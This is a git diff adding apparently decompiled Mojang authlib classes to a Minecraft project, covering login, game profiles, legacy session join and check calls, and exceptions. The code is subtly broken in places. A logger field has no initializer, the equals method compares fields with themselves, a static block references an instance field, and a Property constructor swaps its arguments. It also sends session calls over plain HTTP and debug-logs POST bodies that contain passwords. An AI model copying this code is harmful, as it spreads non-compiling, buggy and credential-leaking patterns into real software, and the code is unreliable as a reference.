+        LOGGER.warn("Couldn't deserialize user properties", t);
+      }
+    }
+    
+    if ((credentials.containsKey("displayName")) && (credentials.containsKey("uuid"))) {
+      GameProfile profile = new GameProfile(UUIDTypeAdapter.fromString(String.valueOf(credentials.get("uuid"))), String.valueOf(credentials.get("displayName")));
+      if (credentials.containsKey("profileProperties")) {
+        try {
+          List<Map<String, String>> list = (List)credentials.get("profileProperties");
+          for (Map<String, String> propertyMap : list) {
+            String name = (String)propertyMap.get("name");
+            String value = (String)propertyMap.get("value");
+            String signature = (String)propertyMap.get("signature");
+            
+            if (signature == null) {
+              profile.getProperties().put(name, new Property(name, value));
+            } else {
+              profile.getProperties().put(name, new Property(name, value, signature));
+            }
+          }
+        } catch (Throwable t) {
+          LOGGER.warn("Couldn't deserialize profile properties", t);
+        }
+      }
+      setSelectedProfile(profile);
+    }
+  }
+  
+  public Map<String, Object> saveForStorage()
+  {
+    Map<String, Object> result = new HashMap();
+    
+    if (getUsername() != null) {
+      result.put("username", getUsername());
+    }
+    if (getUserID() != null) {
+      result.put("userid", getUserID());
+    } else if (getUsername() != null) {
+      result.put("username", getUsername());
+    }
+    
+    if (!getUserProperties().isEmpty()) {
+      List<Map<String, String>> properties = new ArrayList();
+      for (Property userProperty : getUserProperties().values()) {
+        Map<String, String> property = new HashMap();
+        property.put("name", userProperty.getName());
+        property.put("value", userProperty.getValue());
+        property.put("signature", userProperty.getSignature());
+        properties.add(property);
+      }
+      result.put("userProperties", properties);
+    }
+    
+    GameProfile selectedProfile = getSelectedProfile();
+    if (selectedProfile != null) {
+      result.put("displayName", selectedProfile.getName());
+      result.put("uuid", selectedProfile.getId());
+      
+      List<Map<String, String>> properties = new ArrayList();
+      for (Property profileProperty : selectedProfile.getProperties().values()) {
+        Map<String, String> property = new HashMap();
+        property.put("name", profileProperty.getName());
+        property.put("value", profileProperty.getValue());
+        property.put("signature", profileProperty.getSignature());
+        properties.add(property);
+      }
+      
+      if (!properties.isEmpty()) {
+        result.put("profileProperties", properties);
+      }
+    }
+    
+    return result;
+  }
+  
+  protected void setSelectedProfile(GameProfile selectedProfile) {
+    this.selectedProfile = selectedProfile;
+  }
+  
+  public GameProfile getSelectedProfile()
+  {
+    return selectedProfile;
+  }
+  
+  public String toString()
+  {
+    StringBuilder result = new StringBuilder();
+    
+    result.append(getClass().getSimpleName());
+    result.append("{");
+    
+    if (isLoggedIn()) {
+      result.append("Logged in as ");
+      result.append(getUsername());
+      
+      if (getSelectedProfile() != null) {
+        result.append(" / ");
+        result.append(getSelectedProfile());
+        result.append(" - ");
+        
+        if (canPlayOnline()) {
+          result.append("Online");
+        } else {
+          result.append("Offline");
+        }
+      }
+    } else {
+      result.append("Not logged in");
+    }
+    
+    result.append("}");
+    
+    return result.toString();
+  }
+  
+  public AuthenticationService getAuthenticationService() {
+    return authenticationService;
+  }
+  
+  public String getUserID()
+  {
+    return userid;
+  }
+  
+  public PropertyMap getUserProperties()
+  {
+    if (isLoggedIn()) {
+      PropertyMap result = new PropertyMap();
+      result.putAll(getModifiableUserProperties());
+      return result;
+    }
+    return new PropertyMap();
+  }
+  
+  protected PropertyMap getModifiableUserProperties()
+  {
+    return userProperties;
+  }
+  
+  public UserType getUserType()
+  {
+    if (isLoggedIn()) {
+      return userType == null ? UserType.LEGACY : userType;
+    }
+    return null;
+  }
+  
+  protected void setUserType(UserType userType)
+  {
+    this.userType = userType;
+  }
+  
+  protected void setUserid(String userid) {
+    this.userid = userid;
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/GameProfile.java b/src/minecraft/com/mojang/authlib/GameProfile.java
new file mode 100644
index 0000000..3929f5e
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/GameProfile.java
@@ -0,0 +1,106 @@
+package com.mojang.authlib;
+
+import com.mojang.authlib.properties.PropertyMap;
+import java.util.UUID;
+import org.apache.commons.lang3.StringUtils;
+import org.apache.commons.lang3.builder.ToStringBuilder;
+
+public class GameProfile
+{
+  private final UUID id;
+  private final String name;
+  private final PropertyMap properties = new PropertyMap();
+  
+
+
+
+  private boolean legacy;
+  
+
+
+
+
+  public GameProfile(UUID id, String name)
+  {
+    if ((id == null) && (StringUtils.isBlank(name))) { throw new IllegalArgumentException("Name and ID cannot both be blank");
+    }
+    this.id = id;
+    this.name = name;
+  }
+  
+
+
+
+
+
+
+  public UUID getId()
+  {
+    return id;
+  }
+  
+
+
+
+
+
+
+  public String getName()
+  {
+    return name;
+  }
+  
+
+
+
+
+  public PropertyMap getProperties()
+  {
+    return properties;
+  }
+  
+
+
+
+
+
+
+  public boolean isComplete()
+  {
+    return (id != null) && (StringUtils.isNotBlank(getName()));
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (this == o) return true;
+    if ((o == null) || (getClass() != o.getClass())) { return false;
+    }
+    GameProfile that = (GameProfile)o;
+    
+    if (id != null ? !id.equals(id) : id != null) return false;
+    if (name != null ? !name.equals(name) : name != null) { return false;
+    }
+    return true;
+  }
+  
+  public int hashCode()
+  {
+    int result = id != null ? id.hashCode() : 0;
+    result = 31 * result + (name != null ? name.hashCode() : 0);
+    return result;
+  }
+  
+  public String toString()
+  {
+    return new ToStringBuilder(this).append("id", id).append("name", name).append("properties", properties).append("legacy", legacy).toString();
+  }
+  
+
+
+
+
+  public boolean isLegacy()
+  {
+    return legacy;
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/GameProfileRepository.java b/src/minecraft/com/mojang/authlib/GameProfileRepository.java
new file mode 100644
index 0000000..4642b83
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/GameProfileRepository.java
@@ -0,0 +1,6 @@
+package com.mojang.authlib;
+
+public abstract interface GameProfileRepository
+{
+  public abstract void findProfilesByNames(String[] paramArrayOfString, Agent paramAgent, ProfileLookupCallback paramProfileLookupCallback);
+}
diff --git a/src/minecraft/com/mojang/authlib/HttpAuthenticationService.java b/src/minecraft/com/mojang/authlib/HttpAuthenticationService.java
new file mode 100644
index 0000000..bf4ac9c
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/HttpAuthenticationService.java
@@ -0,0 +1,218 @@
+package com.mojang.authlib;
+
+import java.io.IOException;
+import java.io.UnsupportedEncodingException;
+import java.net.HttpURLConnection;
+import java.net.MalformedURLException;
+import java.net.Proxy;
+import java.net.URL;
+import java.util.Map.Entry;
+import org.apache.commons.io.Charsets;
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.Validate;
+import org.apache.logging.log4j.Logger;
+
+public abstract class HttpAuthenticationService extends BaseAuthenticationService
+{
+  private static final Logger LOGGER = ;
+  private final Proxy proxy;
+  
+  protected HttpAuthenticationService(Proxy proxy)
+  {
+    Validate.notNull(proxy);
+    this.proxy = proxy;
+  }
+  
+
+
+
+
+  public Proxy getProxy()
+  {
+    return proxy;
+  }
+  
+  protected HttpURLConnection createUrlConnection(URL url) throws IOException {
+    Validate.notNull(url);
+    LOGGER.debug("Opening connection to " + url);
+    HttpURLConnection connection = (HttpURLConnection)url.openConnection(proxy);
+    connection.setConnectTimeout(15000);
+    connection.setReadTimeout(15000);
+    connection.setUseCaches(false);
+    return connection;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public String performPostRequest(URL url, String post, String contentType)
+    throws IOException
+  {
+    Validate.notNull(url);
+    Validate.notNull(post);
+    Validate.notNull(contentType);
+    HttpURLConnection connection = createUrlConnection(url);
+    byte[] postAsBytes = post.getBytes(Charsets.UTF_8);
+    
+    connection.setRequestProperty("Content-Type", contentType + "; charset=utf-8");
+    connection.setRequestProperty("Content-Length", "" + postAsBytes.length);
+    connection.setDoOutput(true);
+    
+    LOGGER.debug("Writing POST data to " + url + ": " + post);
+    
+    java.io.OutputStream outputStream = null;
+    try {
+      outputStream = connection.getOutputStream();
+      IOUtils.write(postAsBytes, outputStream);
+    } finally {
+      IOUtils.closeQuietly(outputStream);
+    }
+    
+    LOGGER.debug("Reading data from " + url);
+    
+    java.io.InputStream inputStream = null;
+    try {
+      inputStream = connection.getInputStream();
+      String result = IOUtils.toString(inputStream, Charsets.UTF_8);
+      LOGGER.debug("Successful read, server response was " + connection.getResponseCode());
+      LOGGER.debug("Response: " + result);
+      return result;
+    } catch (IOException e) {
+      IOUtils.closeQuietly(inputStream);
+      inputStream = connection.getErrorStream();
+      
+      if (inputStream != null) {
+        LOGGER.debug("Reading error page from " + url);
+        String result = IOUtils.toString(inputStream, Charsets.UTF_8);
+        LOGGER.debug("Successful read, server response was " + connection.getResponseCode());
+        LOGGER.debug("Response: " + result);
+        return result;
+      }
+      LOGGER.debug("Request failed", e);
+      throw e;
+    }
+    finally {
+      IOUtils.closeQuietly(inputStream);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public String performGetRequest(URL url)
+    throws IOException
+  {
+    Validate.notNull(url);
+    HttpURLConnection connection = createUrlConnection(url);
+    
+    LOGGER.debug("Reading data from " + url);
+    
+    java.io.InputStream inputStream = null;
+    try {
+      inputStream = connection.getInputStream();
+      String result = IOUtils.toString(inputStream, Charsets.UTF_8);
+      LOGGER.debug("Successful read, server response was " + connection.getResponseCode());
+      LOGGER.debug("Response: " + result);
+      return result;
+    } catch (IOException e) {
+      IOUtils.closeQuietly(inputStream);
+      inputStream = connection.getErrorStream();
+      
+      if (inputStream != null) {
+        LOGGER.debug("Reading error page from " + url);
+        String result = IOUtils.toString(inputStream, Charsets.UTF_8);
+        LOGGER.debug("Successful read, server response was " + connection.getResponseCode());
+        LOGGER.debug("Response: " + result);
+        return result;
+      }
+      LOGGER.debug("Request failed", e);
+      throw e;
+    }
+    finally {
+      IOUtils.closeQuietly(inputStream);
+    }
+  }
+  
+
+
+
+
+
+
+  public static URL constantURL(String url)
+  {
+    try
+    {
+      return new URL(url);
+    } catch (MalformedURLException ex) {
+      throw new Error("Couldn't create constant for " + url, ex);
+    }
+  }
+  
+
+
+
+
+
+  public static String buildQuery(java.util.Map<String, Object> query)
+  {
+    if (query == null) return "";
+    StringBuilder builder = new StringBuilder();
+    
+    for (Map.Entry<String, Object> entry : query.entrySet()) {
+      if (builder.length() > 0) {
+        builder.append('&');
+      }
+      try
+      {
+        builder.append(java.net.URLEncoder.encode((String)entry.getKey(), "UTF-8"));
+      } catch (UnsupportedEncodingException e) {
+        LOGGER.error("Unexpected exception building query", e);
+      }
+      
+      if (entry.getValue() != null) {
+        builder.append('=');
+        try {
+          builder.append(java.net.URLEncoder.encode(entry.getValue().toString(), "UTF-8"));
+        } catch (UnsupportedEncodingException e) {
+          LOGGER.error("Unexpected exception building query", e);
+        }
+      }
+    }
+    
+    return builder.toString();
+  }
+  
+
+
+
+
+
+  public static URL concatenateURL(URL url, String query)
+  {
+    try
+    {
+      if ((url.getQuery() != null) && (url.getQuery().length() > 0)) {
+        return new URL(url.getProtocol(), url.getHost(), url.getPort(), url.getFile() + "&" + query);
+      }
+      return new URL(url.getProtocol(), url.getHost(), url.getPort(), url.getFile() + "?" + query);
+    }
+    catch (MalformedURLException ex) {
+      throw new IllegalArgumentException("Could not concatenate given URL with GET arguments!", ex);
+    }
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/HttpUserAuthentication.java b/src/minecraft/com/mojang/authlib/HttpUserAuthentication.java
new file mode 100644
index 0000000..3702cf7
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/HttpUserAuthentication.java
@@ -0,0 +1,12 @@
+package com.mojang.authlib;
+
+public abstract class HttpUserAuthentication extends BaseUserAuthentication {
+  protected HttpUserAuthentication(HttpAuthenticationService authenticationService) {
+    super(authenticationService);
+  }
+  
+  public HttpAuthenticationService getAuthenticationService()
+  {
+    return (HttpAuthenticationService)super.getAuthenticationService();
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/ProfileLookupCallback.java b/src/minecraft/com/mojang/authlib/ProfileLookupCallback.java
new file mode 100644
index 0000000..a5cbdbb
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/ProfileLookupCallback.java
@@ -0,0 +1,8 @@
+package com.mojang.authlib;
+
+public abstract interface ProfileLookupCallback
+{
+  public abstract void onProfileLookupSucceeded(GameProfile paramGameProfile);
+  
+  public abstract void onProfileLookupFailed(GameProfile paramGameProfile, Exception paramException);
+}
diff --git a/src/minecraft/com/mojang/authlib/UserAuthentication.java b/src/minecraft/com/mojang/authlib/UserAuthentication.java
new file mode 100644
index 0000000..e6eeaad
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/UserAuthentication.java
@@ -0,0 +1,42 @@
+package com.mojang.authlib;
+
+import com.mojang.authlib.exceptions.AuthenticationException;
+import com.mojang.authlib.properties.PropertyMap;
+import java.util.Map;
+
+public abstract interface UserAuthentication
+{
+  public abstract boolean canLogIn();
+  
+  public abstract void logIn()
+    throws AuthenticationException;
+  
+  public abstract void logOut();
+  
+  public abstract boolean isLoggedIn();
+  
+  public abstract boolean canPlayOnline();
+  
+  public abstract GameProfile[] getAvailableProfiles();
+  
+  public abstract GameProfile getSelectedProfile();
+  
+  public abstract void selectGameProfile(GameProfile paramGameProfile)
+    throws AuthenticationException;
+  
+  public abstract void loadFromStorage(Map<String, Object> paramMap);
+  
+  public abstract Map<String, Object> saveForStorage();
+  
+  public abstract void setUsername(String paramString);
+  
+  public abstract void setPassword(String paramString);
+  
+  public abstract String getAuthenticatedToken();
+  
+  public abstract String getUserID();
+  
+  public abstract PropertyMap getUserProperties();
+  
+  public abstract UserType getUserType();
+}
diff --git a/src/minecraft/com/mojang/authlib/UserType.java b/src/minecraft/com/mojang/authlib/UserType.java
new file mode 100644
index 0000000..8462880
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/UserType.java
@@ -0,0 +1,47 @@
+package com.mojang.authlib;
+
+import java.util.Map;
+
+public enum UserType
+{
+  LEGACY("legacy"), 
+  MOJANG("mojang");
+  
+  private static final Map<String, UserType> BY_NAME;
+  private final String name;
+  
+  private UserType(String name) {
+    this.name = name;
+  }
+  
+  public static UserType byName(String name) {
+    return (UserType)BY_NAME.get(name.toLowerCase());
+  }
+  
+  public String getName() {
+    return name;
+  }
+  
+  static
+  {
+    BY_NAME = new java.util.HashMap();
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    for (UserType type : values()) {
+      BY_NAME.put(name, type);
+    }
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/exceptions/AuthenticationException.java b/src/minecraft/com/mojang/authlib/exceptions/AuthenticationException.java
new file mode 100644
index 0000000..c595c8c
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/exceptions/AuthenticationException.java
@@ -0,0 +1,18 @@
+package com.mojang.authlib.exceptions;
+
+public class AuthenticationException extends Exception
+{
+  public AuthenticationException() {}
+  
+  public AuthenticationException(String message) {
+    super(message);
+  }
+  
+  public AuthenticationException(String message, Throwable cause) {
+    super(message, cause);
+  }
+  
+  public AuthenticationException(Throwable cause) {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/exceptions/AuthenticationUnavailableException.java b/src/minecraft/com/mojang/authlib/exceptions/AuthenticationUnavailableException.java
new file mode 100644
index 0000000..91a51e5
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/exceptions/AuthenticationUnavailableException.java
@@ -0,0 +1,18 @@
+package com.mojang.authlib.exceptions;
+
+public class AuthenticationUnavailableException extends AuthenticationException
+{
+  public AuthenticationUnavailableException() {}
+  
+  public AuthenticationUnavailableException(String message) {
+    super(message);
+  }
+  
+  public AuthenticationUnavailableException(String message, Throwable cause) {
+    super(message, cause);
+  }
+  
+  public AuthenticationUnavailableException(Throwable cause) {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/exceptions/InvalidCredentialsException.java b/src/minecraft/com/mojang/authlib/exceptions/InvalidCredentialsException.java
new file mode 100644
index 0000000..6600e23
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/exceptions/InvalidCredentialsException.java
@@ -0,0 +1,18 @@
+package com.mojang.authlib.exceptions;
+
+public class InvalidCredentialsException extends AuthenticationException
+{
+  public InvalidCredentialsException() {}
+  
+  public InvalidCredentialsException(String message) {
+    super(message);
+  }
+  
+  public InvalidCredentialsException(String message, Throwable cause) {
+    super(message, cause);
+  }
+  
+  public InvalidCredentialsException(Throwable cause) {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/exceptions/UserMigratedException.java b/src/minecraft/com/mojang/authlib/exceptions/UserMigratedException.java
new file mode 100644
index 0000000..c4e781d
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/exceptions/UserMigratedException.java
@@ -0,0 +1,18 @@
+package com.mojang.authlib.exceptions;
+
+public class UserMigratedException extends InvalidCredentialsException
+{
+  public UserMigratedException() {}
+  
+  public UserMigratedException(String message) {
+    super(message);
+  }
+  
+  public UserMigratedException(String message, Throwable cause) {
+    super(message, cause);
+  }
+  
+  public UserMigratedException(Throwable cause) {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/legacy/LegacyAuthenticationService.java b/src/minecraft/com/mojang/authlib/legacy/LegacyAuthenticationService.java
new file mode 100644
index 0000000..5727dca
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/legacy/LegacyAuthenticationService.java
@@ -0,0 +1,48 @@
+package com.mojang.authlib.legacy;
+
+import com.mojang.authlib.Agent;
+import com.mojang.authlib.GameProfileRepository;
+import com.mojang.authlib.HttpAuthenticationService;
+import java.net.Proxy;
+import org.apache.commons.lang3.Validate;
+
+
+
+
+
+
+
+public class LegacyAuthenticationService
+  extends HttpAuthenticationService
+{
+  protected LegacyAuthenticationService(Proxy proxy)
+  {
+    super(proxy);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public LegacyUserAuthentication createUserAuthentication(Agent agent)
+  {
+    Validate.notNull(agent);
+    if (agent != Agent.MINECRAFT) throw new IllegalArgumentException("Legacy authentication cannot handle anything but Minecraft");
+    return new LegacyUserAuthentication(this);
+  }
+  
+  public LegacyMinecraftSessionService createMinecraftSessionService()
+  {
+    return new LegacyMinecraftSessionService(this);
+  }
+  
+  public GameProfileRepository createProfileRepository()
+  {
+    throw new UnsupportedOperationException("Legacy authentication service has no profile repository");
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/legacy/LegacyMinecraftSessionService.java b/src/minecraft/com/mojang/authlib/legacy/LegacyMinecraftSessionService.java
new file mode 100644
index 0000000..c4edc56
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/legacy/LegacyMinecraftSessionService.java
@@ -0,0 +1,78 @@
+package com.mojang.authlib.legacy;
+
+import com.mojang.authlib.GameProfile;
+import com.mojang.authlib.HttpAuthenticationService;
+import com.mojang.authlib.exceptions.AuthenticationException;
+import com.mojang.authlib.exceptions.AuthenticationUnavailableException;
+import com.mojang.authlib.minecraft.HttpMinecraftSessionService;
+import com.mojang.authlib.minecraft.MinecraftProfileTexture;
+import com.mojang.authlib.minecraft.MinecraftProfileTexture.Type;
+import java.io.IOException;
+import java.net.URL;
+import java.util.HashMap;
+import java.util.Map;
+
+public class LegacyMinecraftSessionService extends HttpMinecraftSessionService
+{
+  private static final String BASE_URL = "http://session.minecraft.net/game/";
+  private static final URL JOIN_URL = HttpAuthenticationService.constantURL("http://session.minecraft.net/game/joinserver.jsp");
+  private static final URL CHECK_URL = HttpAuthenticationService.constantURL("http://session.minecraft.net/game/checkserver.jsp");
+  
+  protected LegacyMinecraftSessionService(LegacyAuthenticationService authenticationService) {
+    super(authenticationService);
+  }
+  
+  public void joinServer(GameProfile profile, String authenticationToken, String serverId) throws AuthenticationException
+  {
+    Map<String, Object> arguments = new HashMap();
+    
+    arguments.put("user", profile.getName());
+    arguments.put("sessionId", authenticationToken);
+    arguments.put("serverId", serverId);
+    
+    URL url = HttpAuthenticationService.concatenateURL(JOIN_URL, HttpAuthenticationService.buildQuery(arguments));
+    try
+    {
+      String response = getAuthenticationService().performGetRequest(url);
+      
+      if (!response.equals("OK")) {
+        throw new AuthenticationException(response);
+      }
+    } catch (IOException e) {
+      throw new AuthenticationUnavailableException(e);
+    }
+  }
+  
+  public GameProfile hasJoinedServer(GameProfile user, String serverId) throws AuthenticationUnavailableException
+  {
+    Map<String, Object> arguments = new HashMap();
+    
+    arguments.put("user", user.getName());
+    arguments.put("serverId", serverId);
+    
+    URL url = HttpAuthenticationService.concatenateURL(CHECK_URL, HttpAuthenticationService.buildQuery(arguments));
+    try
+    {
+      String response = getAuthenticationService().performGetRequest(url);
+      
+      return response.equals("YES") ? user : null;
+    } catch (IOException e) {
+      throw new AuthenticationUnavailableException(e);
+    }
+  }
+  
+  public Map<MinecraftProfileTexture.Type, MinecraftProfileTexture> getTextures(GameProfile profile, boolean requireSecure)
+  {
+    return new HashMap();
+  }
+  
+  public GameProfile fillProfileProperties(GameProfile profile, boolean requireSecure)
+  {
+    return profile;
+  }
+  
+  public LegacyAuthenticationService getAuthenticationService()
+  {
+    return (LegacyAuthenticationService)super.getAuthenticationService();
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/legacy/LegacyUserAuthentication.java b/src/minecraft/com/mojang/authlib/legacy/LegacyUserAuthentication.java
new file mode 100644
index 0000000..814369d
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/legacy/LegacyUserAuthentication.java
@@ -0,0 +1,117 @@
+package com.mojang.authlib.legacy;
+
+import com.mojang.authlib.GameProfile;
+import com.mojang.authlib.HttpAuthenticationService;
+import com.mojang.authlib.HttpUserAuthentication;
+import com.mojang.authlib.UserType;
+import com.mojang.authlib.exceptions.AuthenticationException;
+import com.mojang.authlib.exceptions.InvalidCredentialsException;
+import com.mojang.util.UUIDTypeAdapter;
+import java.io.IOException;
+import java.net.URL;
+import java.util.HashMap;
+import java.util.Map;
+import org.apache.commons.lang3.StringUtils;
+
+public class LegacyUserAuthentication extends HttpUserAuthentication
+{
+  private static final URL AUTHENTICATION_URL = HttpAuthenticationService.constantURL("https://login.minecraft.net");
+  
+  private static final int AUTHENTICATION_VERSION = 14;
+  
+  private static final int RESPONSE_PART_PROFILE_NAME = 2;
+  
+  private static final int RESPONSE_PART_SESSION_TOKEN = 3;
+  private static final int RESPONSE_PART_PROFILE_ID = 4;
+  private String sessionToken;
+  
+  protected LegacyUserAuthentication(LegacyAuthenticationService authenticationService)
+  {
+    super(authenticationService);
+  }
+  
+  public void logIn() throws AuthenticationException
+  {
+    if (StringUtils.isBlank(getUsername())) {
+      throw new InvalidCredentialsException("Invalid username");
+    }
+    if (StringUtils.isBlank(getPassword())) {
+      throw new InvalidCredentialsException("Invalid password");
+    }
+    
+    Map<String, Object> args = new HashMap();
+    args.put("user", getUsername());
+    args.put("password", getPassword());
+    args.put("version", Integer.valueOf(14));
+    String response;
+    try
+    {
+      response = getAuthenticationService().performPostRequest(AUTHENTICATION_URL, HttpAuthenticationService.buildQuery(args), "application/x-www-form-urlencoded").trim();
+    } catch (IOException e) {
+      throw new AuthenticationException("Authentication server is not responding", e);
+    }
+    
+    String[] split = response.split(":");
+    
+    if (split.length == 5) {
+      String profileId = split[4];
+      String profileName = split[2];
+      String sessionToken = split[3];
+      
+      if ((StringUtils.isBlank(profileId)) || (StringUtils.isBlank(profileName)) || (StringUtils.isBlank(sessionToken))) {
+        throw new AuthenticationException("Unknown response from authentication server: " + response);
+      }
+      
+      setSelectedProfile(new GameProfile(UUIDTypeAdapter.fromString(profileId), profileName));
+      this.sessionToken = sessionToken;
+      setUserType(UserType.LEGACY);
+    } else {
+      throw new InvalidCredentialsException(response);
+    }
+  }
+  
+  public void logOut()
+  {
+    super.logOut();
+    sessionToken = null;
+  }
+  
+  public boolean canPlayOnline()
+  {
+    return (isLoggedIn()) && (getSelectedProfile() != null) && (getAuthenticatedToken() != null);
+  }
+  
+  public GameProfile[] getAvailableProfiles()
+  {
+    if (getSelectedProfile() != null) {
+      return new GameProfile[] { getSelectedProfile() };
+    }
+    return new GameProfile[0];
+  }
+  
+
+
+
+
+
+  public void selectGameProfile(GameProfile profile)
+    throws AuthenticationException
+  {
+    throw new UnsupportedOperationException("Game profiles cannot be changed in the legacy authentication service");
+  }
+  
+  public String getAuthenticatedToken()
+  {
+    return sessionToken;
+  }
+  
+  public String getUserID()
+  {
+    return getUsername();
+  }
+  
+  public LegacyAuthenticationService getAuthenticationService()
+  {
+    return (LegacyAuthenticationService)super.getAuthenticationService();
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/minecraft/BaseMinecraftSessionService.java b/src/minecraft/com/mojang/authlib/minecraft/BaseMinecraftSessionService.java
new file mode 100644
index 0000000..811055c
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/minecraft/BaseMinecraftSessionService.java
@@ -0,0 +1,15 @@
+package com.mojang.authlib.minecraft;
+
+import com.mojang.authlib.AuthenticationService;
+
+public abstract class BaseMinecraftSessionService implements MinecraftSessionService {
+  private final AuthenticationService authenticationService;
+  
+  protected BaseMinecraftSessionService(AuthenticationService authenticationService) {
+    this.authenticationService = authenticationService;
+  }
+  
+  public AuthenticationService getAuthenticationService() {
+    return authenticationService;
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/minecraft/HttpMinecraftSessionService.java b/src/minecraft/com/mojang/authlib/minecraft/HttpMinecraftSessionService.java
new file mode 100644
index 0000000..9fc5542
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/minecraft/HttpMinecraftSessionService.java
@@ -0,0 +1,14 @@
+package com.mojang.authlib.minecraft;
+
+import com.mojang.authlib.HttpAuthenticationService;
+
+public abstract class HttpMinecraftSessionService extends BaseMinecraftSessionService {
+  protected HttpMinecraftSessionService(HttpAuthenticationService authenticationService) {
+    super(authenticationService);
+  }
+  
+  public HttpAuthenticationService getAuthenticationService()
+  {
+    return (HttpAuthenticationService)super.getAuthenticationService();
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/minecraft/InsecureTextureException.java b/src/minecraft/com/mojang/authlib/minecraft/InsecureTextureException.java
new file mode 100644
index 0000000..1eb92fb
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/minecraft/InsecureTextureException.java
@@ -0,0 +1,43 @@
+package com.mojang.authlib.minecraft;
+
+import com.mojang.authlib.GameProfile;
+import java.util.Calendar;
+import java.util.UUID;
+
+public class InsecureTextureException extends RuntimeException
+{
+  public InsecureTextureException(String message)
+  {
+    super(message);
+  }
+  
+  public static class OutdatedTextureException extends InsecureTextureException {
+    private final java.util.Date validFrom;
+    private final Calendar limit;
+    
+    public OutdatedTextureException(java.util.Date validFrom, Calendar limit) {
+      super();
+      this.validFrom = validFrom;
+      this.limit = limit;
+    }
+  }
+  
+  public static class WrongTextureOwnerException extends InsecureTextureException {
+    private final GameProfile expected;
+    private final UUID resultId;
+    private final String resultName;
+    
+    public WrongTextureOwnerException(GameProfile expected, UUID resultId, String resultName) {
+      super();
+      this.expected = expected;
+      this.resultId = resultId;
+      this.resultName = resultName;
+    }
+  }
+  
+  public static class MissingTextureException extends InsecureTextureException {
+    public MissingTextureException() {
+      super();
+    }
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/minecraft/MinecraftProfileTexture.java b/src/minecraft/com/mojang/authlib/minecraft/MinecraftProfileTexture.java
new file mode 100644
index 0000000..a35512a
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/minecraft/MinecraftProfileTexture.java
@@ -0,0 +1,45 @@
+package com.mojang.authlib.minecraft;
+
+import org.apache.commons.lang3.builder.ToStringBuilder;
+
+public class MinecraftProfileTexture
+{
+  private final String url;
+  private final java.util.Map<String, String> metadata;
+  
+  public static enum Type
+  {
+    SKIN, 
+    CAPE;
+    
+
+    private Type() {}
+  }
+  
+  public MinecraftProfileTexture(String url, java.util.Map<String, String> metadata)
+  {
+    this.url = url;
+    this.metadata = metadata;
+  }
+  
+  public String getUrl() {
+    return url;
+  }
+  
+  @javax.annotation.Nullable
+  public String getMetadata(String key) {
+    if (metadata == null) {
+      return null;
+    }
+    return (String)metadata.get(key);
+  }
+  
+  public String getHash() {
+    return org.apache.commons.io.FilenameUtils.getBaseName(url);
+  }
+  
+  public String toString()
+  {
+    return new ToStringBuilder(this).append("url", url).append("hash", getHash()).toString();
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/minecraft/MinecraftSessionService.java b/src/minecraft/com/mojang/authlib/minecraft/MinecraftSessionService.java
new file mode 100644
index 0000000..1303bdf
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/minecraft/MinecraftSessionService.java
@@ -0,0 +1,19 @@
+package com.mojang.authlib.minecraft;
+
+import com.mojang.authlib.GameProfile;
+import com.mojang.authlib.exceptions.AuthenticationException;
+import com.mojang.authlib.exceptions.AuthenticationUnavailableException;
+import java.util.Map;
+
+public abstract interface MinecraftSessionService
+{
+  public abstract void joinServer(GameProfile paramGameProfile, String paramString1, String paramString2)
+    throws AuthenticationException;
+  
+  public abstract GameProfile hasJoinedServer(GameProfile paramGameProfile, String paramString)
+    throws AuthenticationUnavailableException;
+  
+  public abstract Map<MinecraftProfileTexture.Type, MinecraftProfileTexture> getTextures(GameProfile paramGameProfile, boolean paramBoolean);
+  
+  public abstract GameProfile fillProfileProperties(GameProfile paramGameProfile, boolean paramBoolean);
+}
diff --git a/src/minecraft/com/mojang/authlib/properties/Property.java b/src/minecraft/com/mojang/authlib/properties/Property.java
new file mode 100644
index 0000000..7980f8d
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/properties/Property.java
@@ -0,0 +1,53 @@
+package com.mojang.authlib.properties;
+
+import java.security.Signature;
+
+public class Property
+{
+  private final String name;
+  private final String value;
+  private final String signature;
+  
+  public Property(String value, String name)
+  {
+    this(value, name, null);
+  }
+  
+  public Property(String name, String value, String signature) {
+    this.name = name;
+    this.value = value;
+    this.signature = signature;
+  }
+  
+  public String getName() {
+    return name;
+  }
+  
